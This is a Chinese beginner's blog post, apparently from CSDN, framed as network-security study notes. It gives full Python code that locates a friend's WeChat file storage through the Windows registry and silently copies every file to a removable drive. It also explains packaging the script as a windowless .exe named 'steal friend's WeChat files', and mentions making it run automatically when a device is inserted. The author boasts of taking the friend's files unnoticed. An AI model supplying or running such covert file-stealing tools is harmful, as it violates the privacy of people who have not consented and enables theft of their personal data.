Python网络安全(学习笔记)1

我也是刚刚开始学习编程,只有1年的学习经验,但也是把Python的语法给搞透了,至于为什么要选择Python并持续学习下去,并不是只因为Python的语法简单易懂,而是它给我带来的成就感太多太多了。当然,也有自学的缘故,我的学习进度比那些在外面报课的人快了不少,但我还是觉得,取得成就感最大的原因是代码的实用性。像外面补习班每教一个知识点都要花大量时间整些无聊的项目,我觉得嘛,大可不必。还不如以一个喜欢的项目为目标,并以此为动力,朝那个目标不断学习所需要的(当然,那个目标不要定的太高)

真实的例子:(学习for循环之后)我突然想看看我朋友在他微信里发过或接收过哪些文件(微信是安照默认下载路径下载的),于是我就开始构思:

1.在没有变更下载路径的情况下,微信里的文件存放路径是固定的,都是在

Users\用户名\Documents\WeChat Files\微信用户\FileStorage\File这个目录里,也就是说我们只需要把这个目录递归复制进自己的文件夹里就好了。所以现在要解决的事情是,如何获取用户的主目录路径,都说互联网的力量是强大的,我在之前做项目时,知道了获取桌面路径的方法,我也就将就用了,但实际上,获取主目录的代码要比这个短得多,我当时是这样写的:

key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
d = winreg.QueryValueEx(key, "Desktop")[0]
# 上面那段代码我当时也是不知道什么意思,只知道是获取桌面路径
k = list(d)  # 将桌面路径的字符串转换为列表来进行操作
for i in range(0, 7):  # 把后面没必要的路径给删掉
    k.pop()
k.append('Documents\\WeChat Files\\')  # 加上存放微信文件的路径,至于微信用户的那个路径后面待会来讲
d = ''.join(k)

2.至于以微信用户为名的那个文件夹我们并不知道,但我们知道其它4个文件夹的名称是固定的,因此,我们可以用排除法,看我当时的操作:

folder = os.listdir(d)  # 获取所有文件夹的名称
a = None  # a这里表示的是以微信名称为名的那个文件夹的名称
for i in folder:
    if i != 'All Users' and i != 'Applet' and i != 'WMPF' and i != 'Finderlive':
        a = i  # 排除其它4个文件夹
        break
d = d + a + '\\FileStorage\\File\\'  # 这里就是用于存放微信文件的那个文件夹路径了

3.接下来就到最后一步了,递归拷贝文件到自己的移动设备,这里我又到网上查了一下,是

shutil.copy(),那个存放微信文件的目录中,微信文件是以日期顺序的形式存放在不同文件夹中。由于我当时刚刚接触编程,可能还不知道递归拷贝文件的最简写法,我当时是这样写的:

    folders = os.listdir(d)  # 获取那个文件夹下所有用于存放微信文件的文件夹的名称
    #  递归拷贝目录的代码如下,我就不一一解释了
    for folder in folders:
        d = d + folder + '\\'
        files = os.listdir(d)
        for file in files:
            d += file
            try:
                shutil.copy(d, r)  # 这里的变量r是我移动设备里用于存放朋友的微信文件的文件夹路径
            except Exception as p:
                print(p)
                n = len(file)
                if file == files[-1]:
                    n += 8
                k = list(d)
                for i in range(n):
                    k.pop()
                d = ''.join(k)
                continue
            n = len(file)
            if file == files[-1]:
                n += 8
            k = list(d)
            for i in range(n):
                k.pop()
            d = ''.join(k)

4.但总不能当朋友的面让这个py程序运行吧,我们得先把这个文件夹打包成.exe(不弹窗口的那种)然后再把这个文件设置为插入移动设备自动运行。

pyinstaller -Fw 盗取朋友的微信文件.py  # 基本操作,我就不讲解了

最后的代码是这样子的,里面的注释是为了方便当时的我构思,至于那个'360MoveData'是那个XX软件干的:

# D:\360MoveData\Users\irc yan\Documents\WeChat Files\xid_xe39kgzj18wp22\FileStorage\File
import os
import sys
import time
import winreg
import shutil

r = 'E:\\朋友的文件'

def main():
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
    d = winreg.QueryValueEx(key, "Desktop")[0]
    k = list(d)
    for i in range(0, 7):
        k.pop()
    k.append('Documents\\WeChat Files\\')  # d = D://360MoveData/Users/irc yan/Documents/WeChat Files/
    d = ''.join(k)
    folder = os.listdir(d)
    # print(folder)
    a = None
    for i in folder:
        if i != 'All Users' and i != 'Applet' and i != 'WMPF' and i != 'Finderlive':
            a = i
            break
    # print(a)
    d = d + a + '\\FileStorage\\File\\'
    # d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/
    print(d)
    folders = os.listdir(d)
    print(folders)
    for folder in folders:
        d = d + folder + '\\'
        # d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/2022-10/
        files = os.listdir(d)
        for file in files:
            d += file
            # d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/2022-10/---
            try:
                shutil.copy(d, r)
            except Exception as p:
                print(p)
                n = len(file)
                if file == files[-1]:
                    n += 8
                k = list(d)
                for i in range(n):
                    k.pop()
                d = ''.join(k)
                continue
            n = len(file)
            if file == files[-1]:
                n += 8
            k = list(d)
            for i in range(n):
                k.pop()
            # d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/2022-10/
            d = ''.join(k)

    print('完成')
    time.sleep(3)


if __name__ == '__main__':
    main()

———————————————————————————————————————————

最后,我也是成功在我朋友眼皮底子下搞到了他的微信文件,这成就感不就来了吗???!!?

再来说说我学编程的原因,其实也很简单,都看到标题了?我对网络安全很感兴趣,我也相信这个行业在未来也会得到很好的发展,但学习这个东西往往会因为没了新鲜感(没有实践代码的机会),没了动力而放弃,所以我才要在CSDN上分享我的学习成果,内容以及方法。因此还需要电脑前的你们的支持和鼓励,至于学习路线嘛,下一步——Linux命令。虽然这是以Python为主的网络安全学习,但要知道,单单只是Python,根本满足不了你的需要!!

对了,因为我刚刚开始学,以后我发的文章里要是有什么错误,还请各位大佬指出,我会及时修改,谢谢。

你可能感兴趣的:(学习,笔记,python,网络安全)